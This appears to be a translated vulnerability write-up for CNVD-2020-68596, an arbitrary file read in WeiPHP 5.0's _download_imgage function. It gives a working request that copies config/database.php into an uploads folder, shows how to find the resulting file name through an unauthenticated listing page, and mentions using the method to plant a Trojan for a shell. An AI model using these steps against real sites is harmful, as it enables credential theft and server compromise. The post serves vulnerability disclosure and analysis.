Post

Weiphp5 0 Download_imgage Front Desk File Arbitrarily Read Cnvd 2020 68596

Weiphp5 0 Download_imgage Front Desk File Arbitrarily Read Cnvd 2020 68596

WeiPHP5.0 download_imgage The front desk file is read arbitrarily CNVD-2020-68596

Vulnerability Description

Weiphp5.0 has a vulnerability to read foreground files, which can read sensitive files such as database configuration.

Affect Version

Weiphp <= 5.0

Environment construction

Weiphp5.0 official download reference manual

Just refer to the official manual to create a website

img

Network surveying and mapping

app=”WeiPHP”

Vulnerability reappears

Vulnerability function file: application\material\controller\Material.php

Vulnerability function: _download_imgage

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public function _download_imgage($media_id, $picUrl = '', $dd = null)
    {
        $savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
        mkdirs($savePath);
        $cover_id = 0;
        if (empty($picUrl)) {
            // 获取图片URL
            $url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();
            $param['media_id'] = $media_id;
            // dump($url);
            $picContent = post_data($url, $param, 'json', false);
            $picjson = json_decode($picContent, true);
            // dump($picjson);die;
            if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {
                $cover_id = do_down_image($media_id, $dd['thumb_url']);
                if (!$cover_id) {
                    return 0;
                    exit();
                }
            }
            $picName = NOW_TIME . uniqid() . '.jpg';
            $picPath = $savePath . '/' . $picName;
            $res = file_put_contents($picPath, $picContent);
        } else {
            $content = wp_file_get_contents($picUrl);
            // 获取图片扩展名
            $picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
            if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
            }
            $picName = NOW_TIME . uniqid() . '.' . $picExt;
            $picPath = $savePath . '/' . $picName;
            $res = file_put_contents($picPath, $content);
            if (!$res) {
                $cover_id = do_down_image($media_id);
                if (!$cover_id) {
                    return 0;
                    exit();
                }
            }
        }

        if ($res) {
            $file = array(
                'name' => $picName,
                'type' => 'application/octet-stream',
                'tmp_name' => $picPath,
                'size' => $res,
                'error' => 0
            );

            $File = D('home/Picture');
            $cover_id = $File->addFile($file);
        }
        return $cover_id;
}

First notice that the function’s identification is public, that is, the function is called publicly, and the variable picUrl is a controllable variable

Analysis from top to bottom according to the code

1
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
else {
            $content = wp_file_get_contents($picUrl);
            // 获取图片扩展名
            $picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
            if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
            }
            $picName = NOW_TIME . uniqid() . '.' . $picExt;
            $picPath = $savePath . '/' . $picName;
            $res = file_put_contents($picPath, $content);
            if (!$res) {
                $cover_id = do_down_image($media_id);
                if (!$cover_id) {
                    return 0;
                    exit();
                }
            }

Analyze the wp_file_get_contents method of the incoming variable picUrl

1
$content = wp_file_get_contents($picUrl);

Function file location application\common.php

img

You can see that our parameters are not filtered here, and only an operation about timeout is done. Go back to the function and continue to analyze it downward.

1
2
3
4
5
6
7
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);

Here is a picture file about the current time and write it to the folder /public/uploads/picture/

Let’s first try to control the variable $picUrl to write the database configuration file into the picture

/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php

img

Check the directory /public/uploads/picture/ and use notepad to open the written jpg file

img

Get the information of the database configuration file. Since this variable is controllable, we can also download the Trojan file through this method, and then getshell by parsing vulnerabilities or other vulnerabilities such as file content.

img

I don’t know what the file name is under the current conditions, so I go back to the code to continue looking for ways to get the file name

img

1
2
3
4
5
6
7
8
9
10
11
12
if ($res) {
            $file = array(
                'name' => $picName,
                'type' => 'application/octet-stream',
                'tmp_name' => $picPath,
                'size' => $res,
                'error' => 0
            );

            $File = D('home/Picture');
            $cover_id = $File->addFile($file);
        }

Follow down the addFile function

Function location: application\home\model\Picture.php

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function addFile($file)
    {
        $data['md5'] = md5_file($file['tmp_name']);
        $id = $this->where('md5', $data['md5'])->value('id');
        if ($id > 0) {
            return $id;
        }

        $info = pathinfo($file['tmp_name']);
        $data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);

        $data['sha1'] = hash_file('sha1', $file['tmp_name']);
        $data['create_time'] = NOW_TIME;
        $data['status'] = 1;
        $data['wpid'] = get_wpid();

        $id = $this->insertGetId($data);
        return $id;
    }

You can see that this part of the code is written into the Picture table

1
$id = $this->insertGetId($data);

Let’s check the data table of the database and find that all the data uploaded before are cached in this table

img

We now need to find places where we do not need to log in to obtain this data, so we can search globally where the Picture table is called

img

Find a place to use

1
2
3
4
5
6
7
8
9
function user_pics()
    {
        $map['wpid'] = get_wpid();
        $picList = M('Picture')->where(wp_where($map))
            ->order('id desc')
            ->select();
        $this->assign('picList', $picList);
        exit($this->fetch());
    }

Follow up on the get_wpid function

1
2
3
4
5
6
7
8
function get_wpid($wpid = '')
{
    if (defined('WPID')) {
        return WPID;
    } else {
        return 0;
    }
}

View the WPID definition, file location in config\weiphp_define.php

img

The default value of the definition is 1, so the call here can obtain the content of the Pictrue table in the database, and indirectly know the file content and file name.

Access address: https://webphp/public/index.php/home/file/user_pids

img

You can see the file name and select download according to the URL address.

This post is licensed under CC BY 4.0 by the author.